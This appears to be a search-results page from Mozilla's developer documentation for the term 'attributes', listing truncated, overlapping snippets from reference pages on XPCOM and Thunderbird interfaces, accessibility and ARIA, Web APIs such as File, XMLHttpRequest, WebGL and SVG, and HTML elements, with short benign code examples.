... this content covers features introduced in thunderbird 3 the extiextension interface represents an extension. extiextension is defined in toolkit/components/exthelper/extiapplication.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. ...
...extiextension interface represents an extension. extiextension is defined in toolkit/components/exthelper/extiapplication.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. method overview fixme:
attributes
attribute type description id readonly
attribute astring the id of the extension. ...
...And 4 more matches
IAccessibleEditableText
the specified text between the two given indices is copied into the system clipboard. hresult copytext( [in] long startoffset, [in] long endoffset ); parameters startoffset start index of the text to moved into the clipboard. the valid range is 0..length. endo...
...the specified text between the two given indices is copied into the system clipboard. hresult copytext( [in] long startoffset, [in] long endoffset ); parameters startoffset start index of the text to moved into the clipboard. the valid range is 0..length. endoffset end index of the text to moved into the clipboard. the vali...
...he start index. hresult replacetext( [in] long startoffset, [in] long endoffset, [in] bstr text ); parameters startoffset start index of the text to be replaced. the valid range is 0..length. endoffset start index of the text to be replaced. the valid range is 0..length. text the text that replaces the text between the given indices. return value e_invalidarg if bad [in] passed. s_ok. set
attributes() replaces the
attributes of a text range by the given set of
attributes. sets the
attributes for the text between the two given indices. the old
attributes are replaced by the new list of
attributes. hresult set
attributes( [in] long startoffset, [in] long endoffset, [in] bstr
attributes ); parameters startoffset start index of the text whose
attributes are modified. the valid range is 0...
...And 4 more matches
nsIAccessibleEditableText
accessible/public/nsiaccessibleeditabletext.idlscriptable an interface for editing text of an accessible object. the operations it supports includes setting text
attributes and text contents while also replacing old text of an object with new text. it also includes and support basic operations such as, inserting text, copying text, cutting text, pasting text and deleting text at the specified position. ...
...cified position. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void copytext(in long startpos, in long endpos); void cuttext(in long startpos, in long endpos); void deletetext(in long startpos, in long endpos); void inserttext(in astring text, in long position); void pastetext(in long position); void set
attributes(in long startpos, in long endpos, in nsisupports
attributes); unimplemented void settextcontents(in astring text);
attributes
attribute type description associatededitor nsieditor returns an editor associated with the accessible. read only. native code only! methods copytext() copies the text range into the clipboard. void copytext( in ...
... exceptions thrown ns_error_failure indicates the text cannot be inserted. pastetext() pastes text from the clipboard. void pastetext( in long position ); parameters position the offset at which to insert the text from the system clipboard into the text represented by this object. exceptions thrown ns_error_failure indicates the text cannot be pasted from the clipboard. set
attributes() sets the
attributes for the text between the two given indices. the old
attributes are replaced by the new list of
attributes. for example, sets font styles, such as italic, bold, and so on. void set
attributes( in long startpos, in long endpos, in nsisupports
attributes ); parameters startpos the start index of the text whose
attributes are modified. endpos the end index of the...
...And 4 more matches
nsIClassInfo
xpcom/components/nsiclassinfo.idlscriptable provides information about a specific implementation class. ...
...lassinfo.idlscriptable provides information about a specific implementation class. ...
...int32 language); void getinterfaces(out pruint32 count, [array, size_is(count), retval] out nsiidptr array);
attributes
attribute type description classdescription string a human readable string naming the class, or null. read only. classid nscidptr a classid through which an instance of this class can be created, or null. if the flags
attribute has the singleton bit set, then the value of this
attribute specifies a classid through which this class can be accessed as a service using nsiservicemanager.getservice(). read only. ...
...And 4 more matches
nsIMacDockSupport
rd 11.0 / seamonkey 2.8) implemented by: @mozilla.org/cookie-monster;1. to create an instance, use: var dock = components.classes["@mozilla.org/widget/macdocksupport;1"] .getservice(components.interfaces.nsimacdocksupport); see working with the mac os x dock for details and examples. method summary void activateapplication(in boolean aignoreotherapplications);
attributes
attribute type description badgetext astring text to display in a badge on the application's dock icon. this can be used, for example, to display the number of unread messages in an email client. dockmenu nsistandalonemenu the menu to display when the user right-clicks on the application's icon in the dock. methods activateapplication() activat...
...dless of the state of other applications. if false, the application is only activated if other applications are not currently active. about dockmenu by default firefox adds two menu items to the dock menu. the menu items are "new window" and "new private window". if permanent private browsing mode is enabled then the "new private window" menu item is hidden. this is created by using the dockmenu
attribute of nsimacdocksupport here: http://mxr.mozilla.org/mozilla-release/source/browser/base/content/browser.js#1562 this is seen here: if you were to copy and follow that example you would replace the default native menu. this can be done like this: var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); console.log('docksupport:', docksupport); var win = servi...
...uld replace the default native menu. ...
...And 4 more matches
nsIMsgFilter
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl
attributes type
attribute nsmsgruleactiontype type; priority // target priority.. throws an exception if the action is not priority
attribute nsmsgpriorityvalue priority; targetfolderuri // target folder.. throws an exception if the action is not move to folder
attribute acstring targetfolderuri; label // target label. ...
...c/ nsimsgfilter.idl
attributes type
attribute nsmsgruleactiontype type; priority // target priority.. throws an exception if the action is not priority
attribute nsmsgpriorityvalue priority; targetfolderuri // target folder.. throws an exception if the action is not move to folder
attribute acstring targetfolderuri; label // target label. ...
...te nsmsgruleactiontype type; priority // target priority.. throws an exception if the action is not priority
attribute nsmsgpriorityvalue priority; targetfolderuri // target folder.. throws an exception if the action is not move to folder
attribute acstring targetfolderuri; label // target label. ...
...And 4 more matches
nsIMsgRuleAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl [scriptable, uuid(190a2a18-d245-473a-a402-9f0814598c7f)] interface nsimsgruleaction : nsisupports {
attribute nsmsgruleactiontype type; // target priority.. throws an exception if the action is not priority
attribute nsmsgpriorityvalue priority; // target folder.. throws an exception if the action is not move to folder
attribute acstring targetfolderuri; // target label. ...
...02-9f0814598c7f)] interface nsimsgruleaction : nsisupports {
attribute nsmsgruleactiontype type; // target priority.. throws an exception if the action is not priority
attribute nsmsgpriorityvalue priority; // target folder.. throws an exception if the action is not move to folder
attribute acstring targetfolderuri; // target label. ...
...arget priority.. throws an exception if the action is not priority
attribute nsmsgpriorityvalue priority; // target folder.. throws an exception if the action is not move to folder
attribute acstring targetfolderuri; // target label. ...
...And 4 more matches
Creating a gloda message query
glodafolder instance (retrieved via gloda.getfolderforfolder, which takes an nsimsgfolder) or an nsimsgfolder instance. query.conversation(conversation1, conversation2, ...): add the constraint that the message must belong to one of the specified conversations. the conversation must be a glodaconversation instance. you find these by first finding a message and then accessing its "conversation"
attribute. query.tags(tag1, tag2, tag3, ...): add the constraint that the message must have one of the provided nsimsgtag tags applied. (use nsimsgtagservice to access message tags.) query.starred(true/false): add the constraint that the message must be (or not be) starred (flagged). query.read(true/false): add the constraint that the message must be (or not be) marked as read. query.bodymatches(searc...
..., mimetype2, ...): constrain to messages with attachments among the given mime types. in theory, providing no arguments should result in finding messages with any attachment, but this is somewhat untested. more constraints can be found in the three js files given further below. from https://developer.mozilla.org/docs/mozilla/thunderbird/thunderbird_extensions/demo_addon, demo3, it seems that the
attributename given in these files is the constraintname to be used (e.g. query.subjectmatches(searchstring) for message subject (compare fundattr.js line 145 ). create a collection from the query your listener is notified as messages are added to the collection as the database query completes. you may also see new messages show up if new messages are indexed that meet the constraints. let mylistene...
...stener_onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremoved: function mylistener_onitemsremoved(aitems, acollection) { }, /* called when our database query completes */ onquerycompleted: function mylistener_onquerycompleted(acollection) { } }; let collection = query.getcollection(mylistener); message
attributes look at the pretty messages! the max number of messages which are returned is governed by a preference: "mailnews.database.global.search.msg.limit" although you can deal with the messages as they show up via the listener, the list of messages in the collection is available in collection.items. each message is a glodamessage, whose database-row
attributes are implemented/defined in gloda's da...
...And 4 more matches
Debugger.Source - Firefox Developer Tools
rhaps with nested functions, then the debugger.script instances for those all refer to the same debugger.source instance. each script indicates the substring of the overall source to which it corresponds. a debugger.source instance may represent only a portion of a larger source document. for example, an html document can contain javascript in multiple <script> elements and event handler content
attributes. in this case, there may be either a single debugger.source instance for the entire html document, with each debugger.script referring to its substring of the document; or there may be a separate debugger.source instance for each <script> element and
attribute. the choice is left up to the implementation. if a given piece of source code is presented to the javascript implementation more than on...
... code was loaded. for scripts created by eval or the function constructor, this may be a synthesized filename, starting with a valid url and followed by information tracking how the code was introduced into the system; the entire string is not a valid url. for function.prototype’s script, this is null. source may be loaded from a url in the following ways: the url may appear as the src
attribute of a <script> element in markup text. the url may be passed to the worker web worker constructor, or the web worker importscripts function. the url may be the name of a xpcom javascript module or subscript. (note that code passed to eval, the function constructor, or a similar function isnot considered to be loaded from a url; the url accessor on debugger.source instances...
...instance referring to the dom element to which this source code belongs, if any, or undefined if it belongs to no dom element. source belongs to a dom element in the following cases: source belongs to a <script> element if it is the element’s text content (that is, it is written out as the body of the <script> element in the markup text), or is the source document referenced by its src
attribute. source belongs to a dom element if it is an event handler content
attribute (that is, if it is written out in the markup text as an
attribute value). source belongs to a dom element if it was assigned to one of the element’s event handler idl
attributes as a string. (note that one may assign both strings and functions to dom elements’ event handler idl
attributes. if one as...
...And 4 more matches
Using files from web applications - Web APIs
rom extensions or other browser chrome code, you can; however, note there are some additional features to be aware of. see using the dom file api in chrome code for details. accessing selected file(s) consider this html: <input type="file" id="input" multiple> the file api makes it possible to access a filelist containing file objects representing the files selected by the user. the multiple
attribute on the input element allows the user to select multiple files. accessing the first selected file using a classical dom selector: const selectedfile = document.getelementbyid('input').files[0]; accessing selected file(s) on a change event it is also possible (but not mandatory) to access the filelist through the change event. you need to use eventtarget.addeventlistener() to add the change eve...
...stener("change", handlefiles, false); function handlefiles() { const filelist = this.files; /* now you can work with the file list */ } getting information about selected file(s) the filelist object provided by the dom lists all of the files selected by the user, each specified as a file object. you can determine how many files the user selected by checking the value of the file list's length
attribute: const numfiles = filelist.length; individual file objects can be retrieved by simply accessing the list as an array: for (let i = 0, numfiles = filelist.length; i < numfiles; i++) { const file = filelist[i]; // ... } this loop iterates over all the files in the file list. there are three
attributes provided by the file object that contain useful information about the file. name the...
...list.add("obj"); img.file = file; preview.appendchild(img); // assuming that "preview" is the div output where the content will be displayed. ...
...And 4 more matches
HTMLImageElement.alt - Web APIs
's an image on the page. the alternate text is displayed in the space the image would occupy and should be able to take the place of the image without altering the meaning of the page. syntax htmlimageelement.alt = alttext; let alttext = htmlimageelement.alt; value a domstring which contains the alternate text to display when the image is not loaded or for use by assistive devices. the alt
attribute is officially mandatory; it's meant to always be specified. if the image doesn't require a fallback (such as for an image which is simply decorative or an advisory icon of minimal importance), you may specify an empty string (""). for compatibility reasons, browsers generally will accept an image without an alt
attribute, but you should try to get into the habit of using it. usage notes the fun...
...meant to always be specified. if the image doesn't require a fallback (such as for an image which is simply decorative or an advisory icon of minimal importance), you may specify an empty string (""). for compatibility reasons, browsers generally will accept an image without an alt
attribute, but you should try to get into the habit of using it. usage notes the fundamental guideline for the alt
attribute is that every image's alternate text should be able to replace the image without altering the meaning of the page. you should never use alt for text that could be construed as a caption or title. there are separate
attributes and elements designed for those purposes. examples beyond that, there are additional guidelines for using alt appropriately which vary depending on what the image is being...
...this is shown in the example below. html in the html for this example, shown below, the <img> element includes the alt property, which will prevent the image from having any alternate text, since it's simply a decorational detail. ...
...And 4 more matches
HTMLObjectElement - Web APIs
ointer-events: all;} properties inherits properties from its parent, htmlelement. htmlobjectelement.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", "justify", and "center". htmlobjectelement.archive is a domstring that reflects the archive html
attribute, containing a list of archives for resources for this object. htmlobjectelement.border is a domstring that reflects the border html
attribute, specifying the width of a border around the object. htmlobjectelement.code is a domstring representing the name of an applet class file, containing either the applet's subclass, or the path to get to the class, including the class file itself. htm...
...element.border is a domstring that reflects the border html
attribute, specifying the width of a border around the object. htmlobjectelement.code is a domstring representing the name of an applet class file, containing either the applet's subclass, or the path to get to the class, including the class file itself. htmlobjectelement.codebase is a domstring that reflects the codebase html
attribute, specifying the base path to use to resolve relative uris. htmlobjectelement.codetype is a domstring that reflects the codetype html
attribute, specifying the content type of the data. htmlobjectelement.contentdocument read only returns a document representing the active document of the object element's nested browsing context, if any; otherwise null. htmlobjectelement.contentwindow read ...
...ent.contentdocument read only returns a document representing the active document of the object element's nested browsing context, if any; otherwise null. htmlobjectelement.contentwindow read only returns a windowproxy representing the window proxy of the object element's nested browsing context, if any; otherwise null. htmlobjectelement.data returns a domstring that reflects the data html
attribute, specifying the address of a resource's data. htmlobjectelement.declare is a boolean that reflects the declare html
attribute, indicating that this is a declaration, not an instantiation, of the object. htmlobjectelement.form read only retuns a htmlformelement representing the object element's form owner, or null if there isn't one. htmlobjectelement.height returns a domstring that refle...
...And 4 more matches
Microdata DOM API - Web APIs
use it to expose information to the user, for example offering it in a form that can be used by other applications. the document.getitems(typenames) method provides access to the top-level microdata items. it returns a nodelist containing the items with the specified types, or all types if no argument is specified. each item is represented in the dom by the element on which the relevant itemscope
attribute is found. these elements have their element.itemscope idl
attribute set to true. the type(s) of items can be obtained using the element.itemtype idl
attribute on the element with the itemscope
attribute. methods document . getitems( [ types ] ) returns a nodelist of the elements in the document that create items, that are not part of other items, and that are of the types given in the argument...
...document. when the method is invoked on a document object again with the same argument, the user agent may return the same object as the object returned by the earlier call. in other cases, a new nodelist object must be returned. properties element . itemvalue [ = value ] returns the element's value. can be set, to change the element's value. setting the value when the element has no itemprop
attribute or when the element's value is an item throws an invalidaccesserror exception. element . properties if the element has an itemscope
attribute, returns an htmlpropertiescollection object with all the element's properties. otherwise, an empty htmlpropertiescollection object. code example this sample shows how the getitems() method can be used to obtain a list of all the top-level microdata item...
...es. otherwise, an empty htmlpropertiescollection object. code example this sample shows how the getitems() method can be used to obtain a list of all the top-level microdata items of a particular type given in the document: var cats = document.getitems("http://example.com/feline"); once an element representing an item has been obtained, its properties can be extracted using the properties idl
attribute. this
attribute returns an htmlpropertiescollection, which can be enumerated to go through each element that adds one or more properties to the item. it can also be indexed by name, which will return an object with a list of the elements that add properties with that name. each element that adds a property also has an itemvalue idl
attribute that returns its value. code example this sample get...
...And 4 more matches
SVGMarkerElement - Web APIs
name value description svg_marker_orient_unknown 0 the marker orientation is not one of predefined types. it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type. svg_marker_orient_auto 1
attribute orient has value 'auto'. svg_marker_orient_angle 2
attribute orient has an angle value. units name value description svg_markerunits_unknown 0 the marker unit type is not one of predefined ...
... name value description svg_markerunits_unknown 0 the marker unit type is not one of predefined types. it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type. svg_markerunits_userspaceonuse 1
attribute markerunits is 'userspaceonuse'. svg_markerunits_strokewidth 2
attribute markerunits is 'strokewidth'. properties this interface also inherits properties from its parent interface, svgelement, and implements properties from svgexternalresourcesrequired, svganimatedpreserveaspectratio, and svgstylable. ...
... properties this interface also inherits properties from its parent interface, svgelement, and implements properties from svgexternalresourcesrequired, svganimatedpreserveaspectratio, and svgstylable. name type description refx svganimatedlength corresponds to
attribute refx on the given marker element. refy svganimatedlength corresponds to
attribute refy on the given marker element. markerunits svganimatedenumeration corresponds to
attribute markerunits on the given marker element. one of the marker unit types defined on this interface. ...
...And 4 more matches
SVGPointList - Web APIs
name & arguments return description clear() void clears all existing current items from the list, with the result being an empty list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. initialize(in svgpoint newitem) svgpoint clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter. if the inserted item is already in a list, it is removed from its previous list before it is inserted into this lis...
... specified by the parameter. if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. getitem(in unsigned long index) svgpoint returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. the first item is number 0. exceptions: a domexce...
...(in unsigned long index) svgpoint returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. the first item is number 0. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. insertitembefore(in svgpoint newitem, in unsigned long index) svgpoint inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item...
...And 4 more matches
SVGPreserveAspectRatio - Web APIs
an svgpreserveaspectratio object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
...ument svg 1.1 (2nd edition) constants name value description svg_preserveaspectratio_unknown 0 the enumeration was set to a value that is not one of predefined types. it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type. svg_preserveaspectratio_none 1 corresponds to value none for
attribute preserveaspectratio. svg_preserveaspectratio_xminymin 2 corresponds to value xminymin for
attribute preserveaspectratio. svg_preserveaspectratio_xmidymin 3 corresponds to value xmidymin for
attribute preserveaspectratio. svg_preserveaspectratio_xmaxymin 4 corresponds to value xmaxymin for
attribute preserveaspectratio. svg_preserveaspectratio_...
...tio_xminymin 2 corresponds to value xminymin for
attribute preserveaspectratio. svg_preserveaspectratio_xmidymin 3 corresponds to value xmidymin for
attribute preserveaspectratio. svg_preserveaspectratio_xmaxymin 4 corresponds to value xmaxymin for
attribute preserveaspectratio. svg_preserveaspectratio_xminymid 5 corresponds to value xminymid for
attribute preserveaspectratio. svg_preserveaspectratio_xmidymid 6 corresponds to value xmidymid for
attribute preserveaspectratio. svg_preserveaspectratio_xmaxymid 7 corresponds to value xmaxymid for
attribute preserveaspectratio. svg_preserveaspectratio_xminymax 8 corresponds to value xminymax for
attribute preserveaspectratio. svg_preserveaspectratio_...
...And 4 more matches
SVGStringList - Web APIs
irror of the value in numberofitems, for consistency with other interfaces. methods name & arguments return description clear() void clears all existing current items from the list, with the result being an empty list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. initialize(in domstring newitem) domstring clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter. if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and ...
...the single item specified by the parameter. if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. getitem(in unsigned long index) domstring returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. the first item is number 0. exceptions: a domexception with code no_modification_allowed_err is raised when t...
...only. getitem(in unsigned long index) domstring returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. the first item is number 0. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. insertitembefore(in domstring newitem, in unsigned long index) domstring inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. if the i...
...And 4 more matches
WebGLRenderingContext - Web APIs
d to a specific canvas. webglrenderingcontext.drawingbufferwidth the read-only width of the current drawing buffer. should match the width of the canvas element associated with this context. webglrenderingcontext.drawingbufferheight the read-only height of the current drawing buffer. should match the height of the canvas element associated with this context. webglrenderingcontext.getcontext
attributes() returns a webglcontext
attributes object that contains the actual context parameters. might return null, if the context is lost. webglrenderingcontext.iscontextlost() returns true if the context is lost, otherwise returns false. webglrenderingcontext.makexrcompatible() ensures the context is compatible with the user's xr hardware, re-creating the context if necessary with a new configurati...
...gcontext.texsubimage2d() updates a sub-rectangle of the current webgltexture. webglrenderingcontext.texparameterf() sets texture parameters. webglrenderingcontext.texparameteri() sets texture parameters. programs and shaders webglrenderingcontext.attachshader() attaches a webglshader to a webglprogram. webglrenderingcontext.bindattriblocation() binds a generic vertex index to a named
attribute variable. webglrenderingcontext.compileshader() compiles a webglshader. webglrenderingcontext.createprogram() creates a webglprogram. webglrenderingcontext.createshader() creates a webglshader. webglrenderingcontext.deleteprogram() deletes a webglprogram. webglrenderingcontext.deleteshader() deletes a webglshader. webglrenderingcontext.detachshader() detaches a webglshader. webglrend...
...a boolean indicating if the passed webglshader is valid. webglrenderingcontext.linkprogram() links the passed webglprogram object. webglrenderingcontext.shadersource() sets the source code in a webglshader. webglrenderingcontext.useprogram() uses the specified webglprogram as part the current rendering state. webglrenderingcontext.validateprogram() validates a webglprogram. uniforms and
attributes webglrenderingcontext.disablevertexattribarray() disables a vertex
attribute array at a given position. webglrenderingcontext.enablevertexattribarray() enables a vertex
attribute array at a given position. webglrenderingcontext.getactiveattrib() returns information about an active
attribute variable. webglrenderingcontext.getactiveuniform() returns information about an active uniform v...
...And 4 more matches
WebGL model view projection - Web APIs
webglbox...
...ttriblocation(this.webglprogram, 'position'); this.colorlocation = gl.getuniformlocation(this.webglprogram, 'color'); // tell webgl to test the depth when drawing, so if a square is behind // another square it won't be drawn gl.enable(gl.depth_test); } webglbox draw now we'll create a method to draw a box on the screen. webglbox.prototype.draw = function(settings) { // create some
attribute data; these are the triangles that will end being // drawn to the screen. there are two that form a square. var data = new float32array([ //triangle 1 settings.left, settings.bottom, settings.depth, settings.right, settings.bottom, settings.depth, settings.left, settings.top, settings.depth, //triangle 2 settings.left, settings.top, settings.depth, sett...
... use webgl to draw this onto the screen. // performance note: creating a new array buffer for every draw call is slow. // this function is for illustration purposes only. ...
...And 4 more matches
Using XMLHttpRequest - Web APIs
eamonkey 2.27), synchronous requests on the main thread have been deprecated due to the negative effects to the user experience. note: the constructor function xmlhttprequest isn't limited to only xml documents. it starts with "xml" because when it was created the main format that was originally used for asynchronous data exchange were xml handling responses there are several types of response
attributes defined by the living standard specification for the xmlhttprequest() constructor. these tell the client making the xmlhttprequest important information about the status of the response. some cases where dealing with non-text response types may involve some manipulation and analysis are outlined in the following sections. analyzing and manipulating the responsexml property if you use xmlhttpre...
...xmlhttprequest into sending binary data. these involve utilizing the overridemimetype() method on the xmlhttprequest object and is a workable solution. var oreq = new xmlhttprequest(); oreq.open("get", url); // retrieve data unprocessed as a binary string oreq.overridemimetype("text/plain; charset=x-user-defined"); /* ... */ however, more modern techniques are available, since the responsetype
attribute now supports a number of additional content types, which makes sending and receiving binary data much easier. for example, consider this snippet, which uses the responsetype of "arraybuffer" to fetch the remote content into a arraybuffer object, which stores the raw binary data. var oreq = new xmlhttprequest(); oreq.onload = function(e) { var arraybuffer = oreq.response; // not responsetext ...
... and powerful. using nothing but xmlhttprequest submitting forms without the formdata api does not require other apis for most use cases. the only case where you need an additional api is if you want to upload one or more files, where you use the filereader api. a brief introduction to the submit methods an html <form> can be sent in four ways: using the post method and setting the enctype
attribute to application/x-www-form-urlencoded (default); using the post method and setting the enctype
attribute to text/plain; using the post method and setting the enctype
attribute to multipart/form-data; using the get method (in this case the enctype
attribute will be ignored). now, consider the submission of a form containing only two fields, named foo and baz. if you are using the post method t...
...And 4 more matches
ARIA: row role - Accessibility
role="row" to the container element. that row should be nested within a grid, table or treegrid. a group of rows can be nested within a grid, table or treegrid directly, or within a rowgroup in one of those containers. each row contains child cells. these cells can be of different types, depending on whether they are column or row headers, or grid or regular cells. a row can contain a number of
attributes clarifying the row's role, including aria-colindex, aria-level, aria-rowindex, and aria-selected. if the row is within a treegrid, rows can include the aria-expanded
attribute, using the
attribute to indicate the present status. this is not the case for an ordinary table or grid, in which the aria-expanded
attribute is not present. to create an interactive widget that has a tabular structure, ...
...he columnheader role establishes a relationship between it and all cells in the corresponding column. role="rowheader" a header cell that is the structural equivalent of the html <th> element with a row scope. unlike a plain cell, the rowheader role establishes a relationship between it and all cells in the corresponding row. ...
... the rowheader role establishes a relationship between it and all cells in the corresponding row. states and properties aria-expanded state the aria-expanded
attribute, which defines the state of the row, can take one of three values, or be omitted: aria-expanded="true: row is currently expanded. aria-expanded="false": row is currently collapsed. aria-expended="undefined" or the
attribute is missing: the row is neither expandable nor collapsible. if the element with the aria-expanded
attribute controls the expansion of another grouping container that is not 'owned by' the element, the author should reference the container by using the aria-controls
attribute. aria-selected state only relevant if the row is in an interactive container, such as a grid or treegrid, but not re...
...And 4 more matches
Basic form hints - Accessibility
licitly associate a label with its control. when a screen reader user navigates a page, the screen reader will describe form controls. without a direct association between the control and its label, the screen reader has no way of knowing which label is the correct one. the example below shows a simple form with labels. note that each <input> element has an id, and each <label> element has a for
attribute, indicating the id of the associated <input>. <form> <ul> <li> <input id="wine-1" type="checkbox" value="riesling"/> <label for="wine-1">berg rottland riesling</label> </li> <li> <input id="wine-2" type="checkbox" value="pinot-blanc"/> <label for="wine-2">pinot blanc</label> </li> <li> <input id="wine-3" type="checkbox" value="pinot-grigio"/> ...
... <label for="wine-4">gewürztraminer</label> </li> </ul> </form> labeling with aria the html <label> element is appropriate for form-related elements, but many form controls are implemented as a dynamic javascript widget, using <div>s or <span>s. wai-aria, the accessible rich internet applications specification from the w3c's web accessibility initiative, provides the aria-labelledby
attribute for these cases. the example below shows a radio button group implemented using an unordered list. note that on line 3, the <ul> element sets the aria-labelledby
attribute to rg1_label, the id of the <h3> element on line 1, which is the label for the radio group. <h3 id="rg1_label">lunch options</h3> <ul class="radiogroup" id="rg1" role="radiogroup" aria-labelledby="rg1_label"> <li id="r1" ...
...="radio" aria-checked="false"> <img role="presentation" src="radio-unchecked.gif" /> subway </li> <li id="r3" tabindex="0" role="radio" aria-checked="true"> <img role="presentation" src="radio-checked.gif" /> radio maria </li> </ul> describing with aria form controls sometimes have a description associated with them, in addition to the label. aria provides the aria-describedby
attribute to directly associate the description with the control. the example below shows a <button> element that is described by a sentence in a separate <div> element. the aria-describedby
attribute on the <button> references the id of the <div>. <button aria-describedby="descriptionrevert">revert</button> <div id="descriptionrevert">reverting will undo any changes that have been made ...
...And 4 more matches
ARIA - Accessibility
it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism. for example, aria enables accessible navigation landmarks in html4, javascript widgets, form hints and error messages, live content updates, and more. many of these widgets were later incorporated into html5, and developers should prefer using the correct semantic html element over using aria, if such an element exists. ...
...in script. here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100"> </div> this progress bar is built using a <div>, which has no meaning. unfortunately, there isn't a more semantic tag available to developers in html 4, so we need to include aria roles and properties. these are specified by adding
attributes to the element. in this example, the role="progressbar"
attribute informs the browser that this element is actually a javascript-powered progress bar widget. the aria-valuemin and aria-valuemax
attributes specify the minimum and maximum values for the progress bar, and the aria-valuenow describes the current state of it and therefore must be kept updated with javascript. along with placing them...
...ple, the role="progressbar"
attribute informs the browser that this element is actually a javascript-powered progress bar widget. the aria-valuemin and aria-valuemax
attributes specify the minimum and maximum values for the progress bar, and the aria-valuenow describes the current state of it and therefore must be kept updated with javascript. along with placing them directly in the markup, aria
attributes can be added to the element and updated dynamically using javascript code like this: // find the progress bar <div> in the dom. var progressbar = document.getelementbyid("percent-loaded"); // set its aria roles and states, // so that assistive technologies know what kind of widget it is. ...
...And 4 more matches
Video player styling basics - Developer guides
id="volinc" type="button" data-state="volup">vol+</button> <button id="voldec" type="button" data-state="voldown">vol-</button> <button id="fs" type="button" data-state="go-fullscreen">fullscreen</button> </div> related css alteration the previous article simply set the display property of the video controls to block in order to display them. this has now been changed to use a data-state
attribute, which this code already uses to handle its fullscreen implementation. this "data-state" idea is also used for setting the current state of buttons within the video control set, which allows specific state styling. javascript as mentioned above, a data-state
attribute is used in various places for styling purposes and these are set using javascript. specific implementations will be mentioned a...
...9919028%; /* of figure's height */ position:relative; } the height of the .controls class is set to be (a very precise!) percentage of the enclosing <figure> element (this was worked out with experimentation based on the required button height). its position is also specifically set to relative, which is required for its responsiveness (more on that later). ...
...se chrome ignores it. javascript that's really it for the immediate styling; the next task is making a number of javascript changes to ensure that everything works as expected. ...
...And 4 more matches
HTML5 - Developer guides
this set is sometimes called html5 & friends and often shortened to just html5. designed to be usable by all open web developers, this reference page links to numerous resources about html5 technologies, classified into several groups based on their function. ...
...ite more sophisticated themes. semantics sections and outlines in html5 a look at the new outlining and sectioning elements in html5: <section>, <article>, <nav>, <header>, <footer> and <aside>. using html5 audio and video the <audio> and <video> elements embed and allow the manipulation of new multimedia content. ...
...ntics sections and outlines in html5 a look at the new outlining and sectioning elements in html5: <section>, <article>, <nav>, <header>, <footer> and <aside>. using html5 audio and video the <audio> and <video> elements embed and allow the manipulation of new multimedia content. forms improvements a look at the constraint validation api, several new
attributes, new values for the <input>
attribute type and the new <output> element. ...
...And 4 more matches
<command>: The HTML Command element - HTML: Hypertext Markup Language
permitted content none, it is an empty element. tag omission the start tag is mandatory, but, as it is a void element, the use of an end tag is forbidden. permitted parent elements <colgroup> only, though it can be implicitly defined as its start tag is not mandatory. the <colgroup> must not have a <span> as child. ...
... element. tag omission the start tag is mandatory, but, as it is a void element, the use of an end tag is forbidden. permitted parent elements <colgroup> only, though it can be implicitly defined as its start tag is not mandatory. the <colgroup> must not have a <span> as child. dom interface htmlcommandelement
attributes this element includes the global
attributes. ...
...e of an end tag is forbidden. permitted parent elements <colgroup> only, though it can be implicitly defined as its start tag is not mandatory. the <colgroup> must not have a <span> as child. dom interface htmlcommandelement
attributes this element includes the global
attributes. checked indicates whether the command is selected. must be omitted unless the type
attribute is checkbox or radio. disabled indicates that the command is not available. icon gives a picture which represents the command. ...
...And 4 more matches
<dfn>: The Definition element - HTML: Hypertext Markup Language
t, phrasing content, palpable content. permitted content phrasing content, but no <dfn> element must be a descendant. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. ...
...le content. permitted content phrasing content, but no <dfn> element must be a descendant. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. ...
... content phrasing content, but no <dfn> element must be a descendant. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role term permitted aria roles any dom interface htmlelement
attributes this element's
attributes include the global
attributes. in html5, the title
